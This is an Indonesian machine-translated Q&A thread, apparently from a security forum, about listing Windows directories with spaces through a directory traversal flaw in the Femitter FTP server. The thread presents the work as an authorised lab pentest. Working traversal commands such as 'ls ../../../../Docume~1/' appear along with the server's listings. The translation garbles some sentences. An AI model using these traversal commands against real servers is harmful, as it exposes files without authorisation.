Serangan traversal direktori FTP pada direktori yang berisi spasi putih


15

Saya melakukan pentest yang disetujui dalam lingkungan referensi tertutup, dan berjuang pada masalah yang tampaknya sederhana, saat ini saya tidak bisa menyelesaikannya.

Ketika mencoba menjalankan serangan direktori traversal terhadap server FTP Fermitter yang rentan yang berjalan di MS Windows OS, dimungkinkan untuk melakukan LIST pada root sistem (alamat dan daftar konten yang diubah di sini hanya untuk referensi):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Namun, jika saya ingin membuat daftar isi folder yang berisi ruang putih seperti Documents and settings, saya tidak dapat membuat daftar isi direktori karena ruang putih diabaikan.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Saya sudah mencoba menggunakan klien FTP yang berbeda (CLI dan GUI, di Linux dan Windows) dan mereka mengabaikan ruang putih atau melarang direktori traversal.

Juga mencoba skrip serangan pada Python dengan menggunakan soket mentah pertama dan kemudian ftplib untuk mengirim perintah dalam format HEX langsung ke server FTP, tetapi tidak berhasil.

Googling selama beberapa jam tidak menghasilkan solusi yang berfungsi (ya, ada banyak opsi, yang tidak berfungsi), itulah sebabnya ada seseorang di sini, yang memiliki masalah yang sama. Cukup yakin, bahwa ini bukan pertama kalinya dibutuhkan direktori traversal dengan spasi putih.


Sensitivitas kasus terlihat tidak relevan untuk klien FTP. Setidaknya klien GNU / Linux FTP mencantumkan direktori yang mengabaikan huruf besar.

@lockout: sensitivitas case adalah hal sisi server dan bukan hal klien. Klien mencantumkan data dengan cara yang sama seperti yang dikirimkan server dan tidak mengubah kasing.
Steffen Ullrich

1
Berikan juga C: \ Docume ~ 1 \ a try.
Anjing memakan kucing dunia

1
Coba keluar dari spasi dengan \atau mengutip string direktori
DavidPostill

1
Saya senang itu berhasil untuk Anda @lockout. Karena Anda telah melalui kesulitan menjawab pertanyaan Anda, saya setuju bahwa Anda menerimanya sebagai jawabannya. Terima kasih telah memberi saya kredit.
Anjing memakan kucing dunia

Jawaban:


16

Solusi yang disarankan oleh @Dogeatcatworld untuk menggunakan notasi pendek direktori MS Windows seperti C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Artikel yang sangat bagus dari MS Knowledge Base menjelaskan notasi direktori 8.3: Bagaimana Windows Menghasilkan Nama File 8.3 dari Nama File Panjang


2
OSCP saya mengerti. Untuk menambahkan tip Anda, untuk direktori pendek, seperti "Semua Pengguna", letakkan spasi dan gunakan "Gunakan ~ 1". Apakah Anda menemukan cara untuk memasang FTP untuk menjelajah secara interaktif, atau apakah Anda akhirnya mengunduh file satu per satu.
n00b

1

"Nama pendek" sebenarnya adalah konvensi penamaan DOS 8.3 yang lama, jadi semua direktori akan menjadi 6 huruf pertama diikuti oleh ~ 1 dengan asumsi hanya ada satu nama yang cocok, misalnya:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG AKU
ARAH C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Direktori Lain

Ini satu-satunya pengecualian:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG AKU DIREKTORI
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Direktori juga

Sumber: Bagaimana saya bisa menemukan jalur pendek dari direktori / file Windows?


0

Ftp tidak menggunakan penyandian url, jadi% xx tidak akan berfungsi kecuali Anda menggunakan ftp di peramban yang dapat menerjemahkannya untuk Anda.

Coba gunakan tanda kutip di sekitarnya, yaitu: ls "../../some dir"


1
HI, jika Anda melihat upaya mencoba untuk direktori traversal, Anda akan melihat saya mencoba beberapa kutipan: kutipan tunggal, kutipan ganda, dan centang kembali. Mereka tidak bekerja, sebagaimana diwakili dalam daftar keluaran FTP. Menggunakan% 20 hanya untuk bereksperimen jika itu akan berhasil, karena upaya putus asa untuk mencoba semua opsi. Tentu saja% encoding berfungsi pada browser dan klien FTP yang dapat menerjemahkannya.
penguncian
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.